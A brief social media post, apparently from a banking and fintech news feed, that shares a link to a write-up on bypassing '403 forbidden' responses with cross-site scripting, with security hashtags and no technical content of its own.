Banking and Fintech News

@StanleyEpstein2 years ago

XSS "403 forbidden" bypass write up #Cybersecurity #infosec #security via https://t.co/eBW8Lmmpx7 https://t.co/TT7vD44Y9r